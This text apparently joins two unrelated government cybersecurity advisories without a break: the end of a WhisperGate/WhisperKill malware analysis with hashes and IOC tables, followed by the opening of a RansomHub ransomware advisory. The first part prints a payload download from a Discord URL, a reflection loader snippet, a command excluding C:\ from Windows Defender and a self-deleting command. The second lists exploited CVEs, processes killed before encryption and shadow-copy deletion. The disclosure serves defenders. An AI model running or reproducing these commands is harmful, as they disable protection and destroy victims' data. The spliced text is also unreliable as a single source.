• stage2.exe contained a WebClient object that was initialized with Discord URL hxxps://cdn.discordapp.com/attachments/928503440139771947/930108637681184768/Tbopbh.jpg to obtain the payload Tbopbh.jpg.
• stage2.exe contained logic to reverse file bytes of a file using the Array’s Reverse method.
• stage2.exe contained logic to load an Assembly object into a Stream object.
• stage2.exe used the reflection library to call method Ylfwdwgmpilzyaph from the loaded Assembly object.
• stage2.exe contained decryption logic that resembled RC4, a C# class produced a base64 string and an encryption class which created a key using the decoded string. The encryption class used encryption logic every 32 bytes to decrypt. Additionally, the XOR functionality occurred using the initialized byte “Array” shown below. The encryption class resembled RC4; it was used every 32 bytes. The base64 string came from a class that contained EazFuscator logic to obfuscate code by eliminating control flow within code, as well as making symbols difficult to analyze:
  • byte[] array = new byte[] {148, 68, 208, 52, 241, 93, 195, 220};
• stage2.exe contained EazFuscator class logic. This included logic that built strings during runtime; otherwise, the full strings would have been obfuscated and further segmented when viewed statically. The following is an example of a built string:
  • UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwAA==
• When the above string was base64 decoded, the system displayed the following PowerShell command: Start-Sleep -s 10
• stage2.exe served as the downloader and driver logic for the malware payload, Tbopbh.jpg.

Tbopbh.jpg (payload for stage2.exe variant)

An account in Discord Cluster 1 contained malware with the following hashes, labeled as Tbopbh.jpg:

• MD5: b3370eb3c5ef6c536195b3bea0120929
• SHA-256: 923eb77b3c9e11d6c56052318c119c1a22d11ab71675e6b95d05eeb73d1accd6

When viewing payload Tbopbh.jpg using a hex editor, it ended with value “ZM” or hex values “5A 4D”—this indicated the payload was a reversed PE. Reversing the bytes of Tbopbh.jpg revealed the hashes of the resulting payload listed in Table 20 below.

Table 20: Tbopbh.jpg Properties

MD5	e61518ae9454a563b8f842286bbdb87b
SHA-256	9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d
Protector	Eazfuscator(-)[-]
Library	.NET(v4.0.30319)[-]
Linker	Microsoft Linker(6.0)[DLL32]
TimeDateStamp	2022-01-10 09:39:31

The original filename from the resulting payload was a Dynamic Link Library (DLL) file, Frkmlkdkdubkznbkmcf.dll; its attributes are listed in Table 21:

Table 21: Frkmlkdkdubkznbkmcf.dll Attributes

Resources	Classes	Methods
\u2005 \u2005 \u2009 \u2008 \u2001 \u2007 \u2009 \u200b \u200a \u2005 Note: This format annotates action taken by EazFuscator to obfuscate items, making it difficult for malware analysts to review.	Main - ClassLibrary1	\u0002
7c8cb5598e724d34384cce7402b11f0e	pc1eOx2WJVV1579235895 –	Ylfwdwgmpilzyaph
78c855a088924e92a7f60d661c3d1845

stage2.exe was observed calling method Ylfwdwgmpilzyaph to begin decrypting resource 78c855a088924e92a7f60d661c3d1845. The reflection library was used to execute method Ylfwdwgmpilzyaph, as shown in the following C# code block:

using System.Reflection;
string path = "Frkmlkdkdubkznbkmcf.dll";
string fqpn = Path.GetFullPath(path);
Assembly assembly = Assembly.LoadFile(fqpn);
Type type = assembly.GetType("ClassLibrary1.Main");
type.InvokeMember("Ylfwdwgmpilzyaph", BindingFlags.InvokeMethod, null, null, null);

The following application configuration accompanied the above code block to allow loading from remote sources:

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<runtime>
<loadFromRemoteSources enabled="true"/>
</runtime>
</configuration>

Upon invoking the method Ylfwdwgmpilzyaph, Nmddfrqqrbyjeygggda.vbs wrote to the Windows %TEMP% directory and has the following attributes, as listed in Table 22 below.

Table 22: Nmddfrqqrbyjeygggda.vbs Attributes

MD5	6eed4ee0cc57126e9a096ab9905f471c
SHA-256	db5a204a34969f60fe4a653f51d64eee024dbf018edea334e8b3df780eda846f
VBS Code	CreateObject("WScript.Shell").Run "powershell Set-MpPreference -ExclusionPath 'C:\'", 0, False

The VBS code listed in Table 22 used a WScript shell that executed as a Windows application, which ran a PowerShell command to exclude the C:\ drive from Windows Defender's security checks. Malware analysts decoded and decrypted one of the resources from Frkmlkdkdubkznbkmcf.dll (78c855a088924e92a7f60d661c3d1845). Further analysis of Frkmlkdkdubkznbkmcf.dll resulted in an additional DLL file with the following hashes:

• MD5: 5a537673c34933fc854fbfb65477a686
• SHA-256: 35feefe6bd2b982cb1a5d4c1d094e8665c51752d0a6f7e3cae546d770c280f3a

This decrypted DLL file contained two resources, AdvancedRun and Waqybg.

• AdvancedRun (GZIP)
  • MD5: de85ca91e1e8100a619de1c25112f1a5
  • SHA-256: 489ab4819830d231c3fc3572c5386cad9d18773a8121373ea8174de981cc9166
• Waqybg (GZIP)
  • Reversed byte order:
    • MD5: 9b1191f1ceddf312b0d609cd929c6631
    • SHA-256: 0dd61a16c625c49ffefaf4ce24cabf9a074028a06640d9bbb804f735ff56dfa3
  • Original byte order:
    • MD5: 29d83f29c0b0a0b7499e71e7d5cb713f
    • SHA-256: fd4a5398e55beacb2315687a75af5aa15b776b5d36b9800a1792ede3955616c2

Table 23 and Table 24 list the file properties for both the AdvancedRun and reversed Waqybg decompressed files.

Table 23: AdvancedRun (decompressed)

Type	Win32 EXE
Company	NirSoft
TimeStamp	2020:08:03 09:41:38-04:00
Original File Name	AdvancedRun.exe
MD5	17fc12902f4769af3a9271eb4e2dacce
SHA-256	29ae7b30ed8394c509c561f6117ea671ec412da50d435099756bbb257fafb10b

Table 24: Waqybg (reversed; decompressed)

Type	Win32 EXE
TimeStamp	2022:01:10 03:14:38-05:00
MD5	3907c7fbd4148395284d8e6e3c1dba5d
SHA-256	34ca75a8c190f20b8a7596afeb255f2228cb2467bd210b2637965b61ac7ea907
Compiler	MinGW(GCC: (GNU) 6.3.0)[-]
Linker	GNU linker Id (GNU Binutils)(2.28)[Console32,console]

The reversed and decompressed Waqybg files contained file corruption logic along with a final command to ping arbitrarily and delete itself: cmd.exe /min /C ping 111.111.111.111 -n 5 -w 10 > Nul & Del /f /q “%s”. Waqybg is known as WhisperKill—a malware downloaded by WhisperGate that destroys files with specific extensions.[19],[21]

The following file extensions listed in Table 25 were targeted for file corruption with the equivalent of the “wcscmp” C function logic (a string compare function). The corruption logic included overwriting 0x100000 or 1 MB worth of 0xcc values per targeted file.

Table 25: File Extensions Targeted by WhisperKill

u".3DM"	u".3DS"	u".602"	u".ACCDB"	u".ARC"	u".ASC"
u".ASM"	u".ASP"	u".ASPX"	u".BACKUP"	u".BAK"	u".BAT"
u".BMP"	u".BRD"	u".BZ2"	u".CGM"	u".CLASS"	u".CMD"
u".CONFIG"	u".CPP"	u".CRT"	u".CSR"	u".CSV"	u".DBF"
u".DCH"	u".DER"	u".DIF"	u".DIP"	u".DJVU.SH"	u".DOC"
u".DOCB"	u".DOCM"	u".DOCM"	u".DOCX"	u".DOT"	u".DOTM"
u".DOTX"	u".DWG"	u".EDB"	u".EML"	u".FRM"	u".GIF"
u".HDD"	u".HTM"	u".HWP"	u".IBD"	u".INC"	u".INI"
u".ISO"	u".JAR"	u".JAVA"	u".JPEG"	u".JPG"	u".JSP"
u".KDBX"	u".KEY"	u".LAY"	u".LAY6"	u".LDF"	u".LOG"
u".MAX"	u".MDB"	u".MDF"	u".MML"	u".MSG"	u".MYD"
u".MYI"	u".NEF"	u".NVRAM"	u".ODB"	u".ODG"	u".ODP"
u".ODS"	u".ODT"	u".OGG"	u".ONETOC2"	u".OST"	u".OTG"
u".OTP"	u".OTS"	u".OTT"	u".P12"	u".PAQ"	u".PAS"
u".PDF"	u".PEM"	u".PFX"	u".PHP"	u".PHP3"	u".PHP4"
u".PHP5"	u".PHP6"	u".PHP7"	u".PHPS"	u".PHTML"	u".PNG"
u".POT"	u".POTM"	u".POTX"	u".PPAM"	u".PPK"	u".PPS"
u".PPSM"	u".PPSX"	u".PPT"	u".PPTM"	u".PPTM"	u".PPTX"
u".PS1"	u".PSD"	u".PST"	u".RAR"	u".RAW"	u".RTF"
u".SAV"	u".SCH"	u".SHTML"	u".SLDM"	u".SLDX"	u".SLK"
u".SLN"	u".SNT"	u".SQ3"	u".SQL"	u".SQLITE3"	u".SQLITEDB"
u".STC"	u".STD"	u".STI"	u".STW"	u".SUO"	u".SVG"
u".SXC"	u".SXD"	u".SXI"	u".SXM"	u".SXW"	u".TAR"
u".TBK"	u".TGZ"	u".TIF"	u".TIFF"	u".TXT"	u".UOP"
u".UOT"	u".VBS"	u".VCD"	u".VDI"	u".VHD"	u".VMDK"
u".VMEM"	u".VMSD"	u".VMSN"	u".VMSS"	u".VMTM"	u".VMTX"
u".VMX"	u".VMXF"	u".VSD"	u".VSDX"	u".VSWP"	u".WAR"
u".WB2"	u".WK1"	u".WKS"	u".XHTML"	u".XLC"	u".XLM"
u".XLS"	u".XLSB"	u".XLSM"	u".XLSM"	u".XLSX"	u".XLT"
u".XLTM"	u".XLTX"	u".XLW"	u".YML"	u".ZIP"

Malware Related to Tbopbh.jpg

stage2.exe and its respective payload, Tbopbh.jpg, served as a template for other malware within Discord Cluster 1. While most of these other malware files have not been observed in open source reporting, malware analysts assess them as payloads that follow the unravelling process listed in Figure 1 below.

Table 26 below provides a list of MD5 hashes for files found within Discord Cluster 1. When reversed, these files become DLL files, which were structured similarly to Frkmlkdkdubkznbkmcf.dll.

Note: Analysts identified the files below in Discord Cluster 1; the files are staged on the Cluster in reversed byte order. Analysts reversed the file byte order for each file into their proper portable executable format, e.g., “Functional” format. The hashes in Table 26 represent both byte orders.

Table 26: Files Located in Discord Cluster 1

Filename	MD5 (Reversed)	MD5 (Functional)
Afgyyppsysmtddhvhhaw.dll	d034fe4c71b16b6d331886c24fef2751	4074798a621232dc448b65db7b1fdd66
Avbbwys.dll	422437f326b8dbe30cc5f103bde31f26	7f84263fd24f783ff72d5ae91011b558
Azkebvoyswvjnrpmn.dll	562c337b8caca330da2ea6ae07ee5db6	f73d203bdf924658fd6edf3444c93a50
Budoejokuqbge.dll	58e879213d81333b628434ba4aeb2751	08dfebc04eb61c9a6d87b6524c1c0f2e
Bwqdffttejlkeqe.dll	1c85c0d044ac837e8939564afac1eb32	8633bd2bbbb5da22c3f8751150186c42
Bxqbsyxfkjzmhdtfceoak.dll	7234da8ceafbe6586469f18c03cc1832	5f4df6dd8e644d59eaf182e500b5e7bf
Clsrncpbaucrabuobcpale.dll	618d62dd95fd9aeb855fe2ef1403dce5	955e4c198ee58e40fe92cb74ceefdf00
Cpdvzvzyghy.dll	d40195a444526eafb0db56d95bf8655d	a905d620717f75751aa94ceb88995dbc
Ctiktdfyauejxfak.dll	d06761b2cff86035a4838110ed6ab622	2ca6bcf16ee4293a771a1cf7b7b9ee49
Czxhayyankwsp.dll	59da31da4db1aa5f9a5c7c0c151422c8	de1bf141976776becd376a0dac400df6
Djpajq.dll	de1f9d1f0336ddcff832ad3900acd2f1	974e7c0b3660fbf18f29eac059f85ac0
Dmdtflkcgebf.dll	394e056cb6cb732dfd5e0d45d3dae938	4d8343c40be53d6521244fe74393d937
Ejcpaujkmvjndgqznimmkgd.dll	b7c1a8d39f46eaf52be90e24565dd6b0	7a70d5fbbafe3454b76e3ad2f009618f
Encuutwvdqbxlxh.dll	2b39eab325906b0a3ab7e584c3d67349	df4f856f783d23fb01af1e0e64bc0e20
Esalfjyraquwfxcgufwzip.dll	80f0ee332a452172533ad8863bb3bc63	f4f4e55a00d2f3a433c9e5624285ac1c
Fdgofjdvmmllgsxunb.dll	9345425cf07b4c39a80cd8540e08bfde	eef2363744345741e09fe5380eeb4df3
Fkhzvcuucaprsibp.dll	aecb57e20d2c0b0d9fece2cbcbcc3459	4bce4831b1dd71f19c55b3e3b5e99856
Fkthhyexkr.dll	58dc7c9577ff90a046359ca255c0c9f4	19cb20c4e7dbfe15c1aa284752d0fecb
Fqattuyxknkhv.dll	5c9e2195d10375b746b6717fdb47b5b9	2b5f159f022109a8de1bc5dd9e3138a0
Fqyubbzbubsge.dll	afbb9459d4a0f60d7ffb3b3532d11bc2	8d3d4d702ba6b4be2766a41bfe5ff76e
Frkmlkdkdubkznbkmcf.dll	b3370eb3c5ef6c536195b3bea0120929	e61518ae9454a563b8f842286bbdb87b
Gsiook.dll	a1b509254a0a1daa7e00d279ec974461	0e03103e8110785156105946e48ea9e0
Gutjuhi.dll	791a81f31a8e7090a7d5417451e09efa	fba76f4eb2e7a2eb17193bebe290a198
Hisvswmeswmnqbvzpoxzx.dll	e1a15bc13157134f542cd9c55c742460	c9d1677f4f89b95b41591b23a1dc1a63
Hsoahb.dll	cd62d4a178705b2b90a8babd8613df93	032f5642d4fb2fdd74e6f20a13c57746
Icyjkszdzgoxdfuwptkwxo.dll	f34f60375bebad861a35b7c4bb0fa1c8	a66b3b22a3619f739b197d0d443b700c
Jdfzavlqr.dll	7fe7f33d9b5dbdf3d032d2a10e39f283	8cfef66b390f08bdbfd940922cf51650
Jrdggfjvve.dll	b32e14a9b7de6c92cd16758fa6e23346	1220b580cef1bf22351e271773945d20
Jteieurqgvpgnhw.dll	b85538f665fdb6c8d9a74f2df7369832	ffa68749aa3fc6495e2c49b01d964339
Kbuqtmznmodjzvxvwxcvho.dll	869742fb9db71fdb66f00528fe2966ec	5b884f15dc9b072d7bbad9ec2b249f38
Kdmvyizz.dll	2128361d8aaae1225d50c9add32006a1	9152c9de57b5647ee4ab3dff551dc8dd
Kfxghcmg.dll	56e0446a6d7175a0d09110bc483ddbed	fc418fdda06ce5982153766dcefb71d9
Krewcizfplntbwcqawfhtfpd.dll	6a4fca88ee36fecc5113e188cc39d25c	5c3b0040e2dece6e17093ae607b79044
Lsurhpmpyewhv.dll	143594597130e301499e5940a5fb798a	911c7e82f32f78577dcd725a7adb114d
Mbkzrkfasxgxtzhgpgsehip.dll	993f01861aff306df44e6475f7886f37	e4634ef9bfe7b598b857ad997445b239
Mhnovdgzzidqx.dll	64b9feeccf6c183b9f7138f8fc53acbb	7e0c42d33921a89724424f17c97037bd
Mlfampnfnmjvjnahkrawwqd.dll	ddec2d79f460a881849037336ba8968f	d973210977957209f255b58eb1715b12
Mppveiyannobrcdlkd.dll	9606b4720a0e73ef1f00505a11aab2f7	0adc2530cf348c0a3d53a680291a3d67
Mzhyeemgqbmamubqn.dll	f772f5c65d65412f61ef5f2660e33ceb	f8ffd1eab6223e31b15d0fd6c3c0472e
Nbbudwt.dll	875f9200b49db08c33962b0a6bd05ab9	2e035360971a817b854d7d5a2b008717
Nhqcfzagulwaw.dll	fa97dbe84ce7717b754795fa89f13dce	601c12596dfea84c2113ae5ee59a52ec
Nlzhpvuzzoycqnnpl.dll	d8c04ecd646a1f8537a59f63518ef3c6	47f4534da421daf8089cf34d53f6bb6e
Noubvdigjlwsnqiylzgikkk.dll	3bcff990faacbebb8fb470dfe03e2543	683546b9171a1ea284a96d1b45d1d823
Nvxwbzciqarteyuz.dll	c265188fdadddb648629e8060601dca7	af85885a74cfe099676af542dcdc5741
Nykfvwmchighqwcguabvgq.dll	8a2ba7f9cb6f65edf65dbe579907551e	673586594242d99ab02118595e457297
Ofgdwttnmqibnmpqx.dll	9657c2ef6ed5229740b125df9ca6c915	0dc5ac12f7690db15c99eaabc11b129c
Ohtvepefcjnchrrasokn.dll	a5494ffd9efb7c3df59c527076a05e62	e2cc52273d56ed66c800a726760c1ed0
Olkscszculdbzvco.dll	85afdef18d65b0518d709a5a324ea57a	77675a24040f10c85112d9a219d5f1c7
Onkwzkpfuqazvali.dll	da4d81f9ef3b25ea09f34481d923dd9d	cc4a9db6f250114e26d8d9ba6ab46bc9
Opaqwrazeyyilbbjlkf.dll	0e6374042b33d78329149a6189a7cb46	1934e2ebc64d41e37ef53ea0c075e974
Owxtabfdqhkaahhwsgkatuu.dll	d33f608f561096be24cba91797e0da2f	332b7f6662e28e3577bd1b269904b940
Poezcjhvkzgmnyqljpbte.dll	32db8abce1618e60441f5c7cf4be0d22	2b2509c6ee46d6327f2f1c9a75122d15
Rvyqctymumtudroyae.dll	dd2431b1f858b4ca14a4ea05fb8c4a06	9b2924c727aa3a061906321a66c9050c
Sutragevr.dll	7d3b529db1bd896d9fd877b85cafdc64	de276cf07ccffa18d7ffc35281bca910
Sxkdxclqmxnmjgedhgagl.dll	6e1394938c2fecad2d4f5b3bcf357ec0	d6b41747cb035c4c2b08790cd57f0626
Tosyxesxgrzyb.dll	99305ce01cc2d0f58cd226efb2de893f	6859fe5a3eead00a563cd93efcc6ea96
Tpmnkauftdydomyz.dll	6c152774f6894407075e6f0a2859bbae	981160dee6cd25fb181e54eca7ff7c22
Tptjtwfhpsjfksqoajt.dll	343b140977b3f9b227e7e5f82b0fadb5	95cf2a5a24b0d33d621bb8995d5826bc
Tsgblplhdwwj.dll	54a9fa9eb337a3b5ca7b0fa4553e439d	cee5acbfef7e76f52f40b8ae95199c50
Uqhznlcagzyoqrbyylnnwn.dll	4c19aeecbfca13b8a199703d8b8284b9	ad0ca738aa6c987e4ee1a87ff2b8acd5
Uslrfkxccdyetfdxmaokbhv.dll	dc795cb9290b1bc0b7fb1ce9d6ae7c93	552d9b79cc544fc6c3e8aa204dd00811
Waordspinycera.dll	9935a86108e3ae3f72cd15817601dcc6	5d063eecd894d3d523875bc82ef6f319
Wcfsobntsczz.dll	77aa3f342a0d69fda67c853bcc004d48	d0b00a6c83ce810ec2763af17e8ab1c4
Wpqyhvfnunlabx.dll	03af632aa6f87bf9dd4364ee3b612cbb	9f11e915be5c0d02a3130329cf032a28
Wqwpawlulyrsrjcbvuvddeud.dll	41871fef433d7b4b89fd226fe3a1a2c0	e21fe98cc8866c0eeecf3549ebcec751
Wqxpgvsgvhygmfbziucxcuh.dll	246d9f9831b125ea7e6ef21bc4c8a0ca	dea3ae8225913dd98148fc86cfc3bcbe
Xgcpgrxhchgwz.dll	9c695be3703194fdb71c212a0832bcf3	8744cec7547b1e73705c10a264e28e08
Xgkepoc.dll	69e58c5ee69f5e5e8a58f4afdd59adfe	d43446b4a22a597b93b559821ee5ac9b
Xlfthpiq.dll	540ee8e39150c539fea582b0e77be7b0	3fe96ff4a5ef0f5346ce645a2a893597
Xlocky.dll	0a2affa6d895baab087b84e93145da35	246f31c86bbbe7f65c0126cf4a1a947a
Xqblktvxmnxrzwiuqdfxzrd.dll	569c1d31f4c7ec7701d8e4e51b59fe85	5eaa7e812733a5c8cda734fab2f752d5
Xykqrksoqqgyuckfc.dll	09a2d85e809d36bff82bd5ab773980a3	96964aed18f65a7acae632f358a093f6
Yawyjonk.dll	3ccf799ff208981349cee4fb1a1cf88c	4e9c55c6fe25d61ca4394de794546fab
Yrknbt.dll	6154760e602bd71192d93f72fbdb486e	94bf96b76c2a092de8962496ce35deaf
Yvbmuigfihprdxgiirp.dll	b0d0a23766fa64ece9315f37b28bb4c0	1e22d64f263e8ea4b2d37dcd9b7c3012
Ywrovtjimixpmizuln.dll	ca43a241042b5fcc305393765ae18e69	28d571ddb5c04d065dfe1be9604663ba
Zfgdccnwnee.dll	251f3a4757d9e4de0499cc30c0bc00a9	755dac7edd17fbf5b5c449dd06c02e14
Zkuxhxwbvifejn.dll	9d7ab8b0aa669125d9a5adc4f46c56f3	af277ae0fbf6cc20f887696ea4756d46
Zsdflpivel.dll	a9c9c0be8eca3b575c24da0fcf1af1a9	1cac5c0cb8801e8730447023270d8d56

Appendix B: Indicators of Compromise

Table 27 lists observed IP addresses that were first observed as early as 2022 and have been historically linked to Unit 29155 infrastructure. These IPs are considered historical infrastructure and should be investigated for associated abnormal or malicious activity.

Table 27: IP Addresses Associated with Unit 29155 Infrastructure

IP Address
5.226.139[.]66
45.141.87[.]11
46.101.242[.]222
62.173.140[.]223
79.124.8[.]66
90.131.156[.]107
112.51.253[.]153
112.132.218[.]45
154.21.20[.]82
179.43.133[.]202
179.43.142[.]42
179.43.162[.]55
179.43.175[.]38
179.43.175[.]108 (data exfiltration site)
179.43.176[.]60
179.43.187[.]47
179.43.189[.]218
185.245.84[.]227
185.245.85[.]251
194.26.29[.]84
194.26.29[.]95
194.26.29[.]98
194.26.29[.]251

Threat actors can exploit jump hosts, also known as jump servers or bastion hosts, to gain unauthorized access or perform malicious activities within a protected network. In this context, the domains listed in Table 28 represent the tools used to establish functionality for creating a jump host.

Table 28: Domains Hosting Jump Host Tooling

Domain Name
interlinks[.]top
https://3proxy[.]ru
https://ngrok[.]com (Note: This domain is a legitimate service leveraged for malicious purposes by Unit 29155 cyber actors and should be investigated prior to blocking.)
https://nssm[.]cc

Note: This joint Cybersecurity Advisory is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the Multi-State Information Sharing and Analysis Center (MS-ISAC), and the Department of Health and Human Services (HHS) (hereafter referred to as the authoring organizations) are releasing this joint advisory to disseminate known RansomHub ransomware IOCs and TTPs. These have been identified through FBI threat response activities and third-party reporting as recently as August 2024. RansomHub is a ransomware-as-a-service variant—formerly known as Cyclops and Knight—that has established itself as an efficient and successful service model (recently attracting high-profile affiliates from other prominent variants such as LockBit and ALPHV).

Since its inception in February 2024, RansomHub has encrypted and exfiltrated data from at least 210 victims representing the water and wastewater, information technology, government services and facilities, healthcare and public health, emergency services, food and agriculture, financial services, commercial facilities, critical manufacturing, transportation, and communications critical infrastructure sectors.

The affiliates leverage a double-extortion model by encrypting systems and exfiltrating data to extort victims. It should be noted that data exfiltration methods are dependent on the affiliate conducting the network compromise. The ransom note dropped during encryption does not generally include an initial ransom demand or payment instructions. Instead, the note provides victims with a client ID and instructs them to contact the ransomware group via a unique .onion URL (reachable through the Tor browser). The ransom note typically gives victims between three and 90 days to pay the ransom (depending on the affiliate) before the ransomware group publishes their data on the RansomHub Tor data leak site.

The authoring organizations encourage network defenders to implement the recommendations in the Mitigations section of this cybersecurity advisory to reduce the likelihood and impact of ransomware incidents.

Download the PDF version of this report:

For a downloadable copy of IOCs, see:

Technical Details

Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 15. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

Initial Access

RansomHub affiliates typically compromise internet facing systems and user endpoints by using methods such as phishing emails [T1566], exploitation of known vulnerabilities [T1190], and password spraying [T1110.003]. Password spraying targets accounts compromised through data breaches. Proof-of-concept exploits are obtained from sources such as ExploitDB and GitHub [T1588.005]. Exploits based on the following CVEs have been observed:

• CVE-2023-3519 (CWE-94)
  • Citrix ADC (NetScaler) Remote Code Execution. A vulnerability exists within Citrix ADC that allows an unauthenticated attacker to trigger a stack buffer overflow of the NSPPE (NetScaler Packet Processing Engine) process by making a specially crafted HTTP GET request. Successful exploitation results in remote code execution as root.
• CVE-2023-27997 (CWE-787 | CWE-122)
  • A heap-based buffer overflow vulnerability in FortiOS version 7.2.4 and below, version 7.0.11 and below, version 6.4.12 and below, version 6.0.16 and below and FortiProxy version 7.2.3 and below, version 7.0.9 and below, version 2.0.12 and below, version 1.2 all versions, version 1.1 all versions SSL-VPN may allow a remote attacker to execute arbitrary code or commands via specifically crafted requests.
• CVE-2023-46604 (CWE-502)
  • The Java OpenWire protocol marshaller, such as in Apache ActiveMQ, is vulnerable to Remote Code Execution. This vulnerability may allow a remote attacker with network access to open either a Java-based OpenWire broker or client to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause either the client or the broker (respectively) to instantiate any class on the classpath. Upgrading both brokers and clients to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3 fixes this issue.
• CVE-2023-22515
  • A vulnerability in publicly accessible Confluence Data Center and Server instances that allows the creation of unauthorized Confluence administrator accounts and access to Confluence instances. Atlassian Cloud sites are not affected by this vulnerability. If your Confluence site is accessed via an atlassian.net domain, it is hosted by Atlassian and is not vulnerable to this issue.
• CVE-2023-46747 (CWE-306 | CWE-288)
  • Undisclosed requests may bypass configuration utility authentication, allowing an attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
• CVE-2023-48788 (CWE-89)
  • An improper neutralization of special elements used in an SQL command (SQL injection') in Fortinet FortiClientEMS version 7.2.0 through 7.2.2 and FortiClientEMS 7.0.1 through 7.0.10 allows attacker to execute unauthorized code or commands via specially crafted packets.
• CVE-2017-0144
  • The SMBv1 server in Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607; and Windows Server 2016 allows remote attackers to execute arbitrary code via crafted packets, also known as “Windows SMB Remote Code Execution Vulnerability” [T1210].
• CVE-2020-1472
  • An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller using the Netlogon Remote Protocol (MS-NRPC).
• CVE-2020-0787
  • This vulnerability was also potentially exploited along with the Zerologon privilege escalation vulnerability.

Discovery

RansomHub affiliates conduct network scanning with tools such as AngryIPScanner, Nmap, and PowerShell-based living off the land methods with PowerShell to conduct network scanning [T1018][T1046][T1059.001].

Defense Evasion

Cybersecurity researchers have observed affiliates renaming the ransomware executable with innocuous file names, such as Windows.exe, left on the user’s desktop (C:\Users\%USERNAME%\Desktop) or downloads (C:\Users\%USERNAME%\Downloads) [T1036]. The affiliates have also cleared Windows and Linux system logs to inhibit any potential incident response [T1070]. Affiliates used Windows Management Instrumentation [T1047] to disable antivirus products. In some instances, RansomHub-specific tools were deployed to disable endpoint detection and response (EDR) tooling [T1562.001].

Privilege Escalation and Lateral Movement

Following initial access, RansomHub affiliates created user accounts for persistence [T1136], reenabled disabled accounts [T1098], and used Mimikatz [S0002] on Windows systems to gather credentials [T1003] and escalate privileges to SYSTEM [T1068]. Affiliates then moved laterally inside the network through methods including Remote Desktop Protocol (RDP) [T1021.001], PsExec [S0029], Anydesk [T1219], Connectwise, N-Able, Cobalt Strike [S0154], Metasploit, or other widely used command-and-control (C2) methods.

Data Exfiltration

Data exfiltration methods depend heavily on the affiliate conducting the network compromise. The ransomware binary does not normally include any mechanism for data exfiltration. Data exfiltration has been observed through the usage of tools such as PuTTY [T1048.002], Amazon AWS S3 buckets/tools [T1537], HTTP POST requests [T1048.003], WinSCP, Rclone, Cobalt Strike, Metasploit, and other methods.

Encryption

RansomHub ransomware has typically leveraged an Elliptic Curve Encryption algorithm called Curve 25519 to encrypt user accessible files on the system [T1486]. Curve 25519 uses a public/private key that is unique to each victim organization. To successfully encrypt files that are currently in use, the ransomware binary will typically attempt to stop the following processes:

• "vmms.exe"
• "msaccess.exe"
• "mspub.exe"
• "svchost.exe"
• "vmcompute.exe"
• "notepad.exe"
• "ocautoupds.exe"
• "ocomm.exe"
• "ocssd.exe"
• "oracle.exe"
• "onenote.exe"
• "outlook.exe"
• "powerpnt.exe"
• "explorer.exe"
• "sql.exe"
• "steam.exe"
• "synctime.exe"
• "vmwp.exe"
• "thebat.exe"
• "thunderbird.exe"
• "visio.exe"
• "winword.exe"
• "wordpad.exe"
• "xfssvccon.exe"
• "TeamViewer.exe"
• "agntsvc.exe"
• "dbsnmp.exe"
• "dbeng50.exe"
• "encsvc.exe"

The ransomware binary will attempt to encrypt any files that the user has access to, including user files and networked shares.

RansomHub implements intermittent encryption, encrypting files in 0x100000 byte chunks and skipping every 0x200000 bytes of data in between encrypted chunks. Files smaller than 0x100000 bytes in size are completely encrypted. Files are appended with 58 (0x3A) bytes of data at the end. This data contains a value which is likely part of an encryption/decryption key. The structure of the appended 0x3A bytes is listed below with images from three different encrypted files.

The next eight bytes are the size of encrypted blocks. If the entire file is encrypted, this section is all zeros. In this example, each encrypted section is 0x100000 bytes long, with 0x100000 bytes between each encrypted block. This number was observed changing based on the size of the encrypted file.

The next two bytes were always seen to be 0x0001.

The next 32 bytes are the public encryption key for the file.

The next four bytes are a checksum value.

The last four bytes are always seen to be the sequence 0x00ABCDEF.

The ransomware executable does not typically encrypt executable files. A random file extension is added to file names and a ransom note generally titled How To Restore Your Files.txt is left on the compromised system. To further inhibit system recovery, the ransomware executable typically leverages the vssadmin.exe program to delete volume shadow copies [T1490].

Leveraged Tools

See Table 1 for publicly available tools and applications used by RansomHub affiliates. This includes legitimate tools repurposed for their operations.

Disclaimer: Use of these tools and applications should not be attributed as malicious without analytical evidence to support threat actor use and/or control.